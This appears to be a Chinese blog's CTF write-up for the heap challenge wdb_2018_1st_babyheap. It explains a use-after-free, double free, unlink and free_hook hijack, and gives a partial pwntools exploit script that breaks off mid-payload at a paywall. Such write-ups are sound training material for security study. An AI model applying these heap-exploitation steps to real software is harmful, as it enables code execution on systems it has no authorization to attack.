171 wdb_2018_1st_babyheap
add

edit

只能编辑三次。
show

free

简单的uaf。
我们可以通过unlink来泄露地址,劫持free_hook。
要注意的是它自己写的一个输入函数。
要么就回车截断,要么就输入32个。所以我们在写exp的时候如果是32字节,就不要加回车,如果不够32个字节,就一定要加回车,不然输入是截断不了的。
先通过double free泄露地址,然后把heap_base + 0x10的chunk申请到。并且把heap_base再挂进去。
将heap_base + 0x10的地方拿回来,伪造好chunk,然后再次将heap_base申请回来伪造好chunk头,做一个unlink,目的是可以泄露libc地址,也可以顺便控制bss,劫持free_hook。
最后达到这样一个效果。

# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
r = process("./171")
#r = remote("node3.buuoj.cn", "25155")
elf = ELF("./171")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
#libc = ELF("./64/libc-2.23.so")
def add(index, content):
r.sendlineafter("Choice:", "1")
r.sendlineafter("Index:", str(index))
r.sendafter("Content:", content)
def edit(index, content):
r.sendlineafter("Choice:", "2")
r.sendlineafter("Index:", str(index))
r.sendafter("Content:", content)
def show(index):
r.sendlineafter("Choice:", "3")
r.sendlineafter("Index:", str(index))
def delete(index):
r.sendlineafter("Choice:", "4")
r.sendlineafter("Index:", str(index))
bss_addr = 0x602060
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')
delete(0)
delete(1)
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x30
print "heap_base" + hex(heap_base)
edit(0, p64(heap_base + 0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap_base) + p64(bss_addr-0x10))
#把heap_base再次挂进bins中.
payload = p64(bss_addr-0x18) + p64(bss_addr-0x10) + p64(0x20) + p64(0x90
多个CTF安全题目的解题思路

博客介绍了多个CTF安全题目的解题思路,包括wdb_2018_1st_babyheap、npuctf_2020_bad_guy等。涉及堆溢出、格式化字符串、数组越界等漏洞利用,通过泄露地址、劫持hook等方法达到攻击效果,还给出了部分题目的注意事项和exp。
最低0.47元/天 解锁文章
1159

被折叠的 条评论
为什么被折叠?



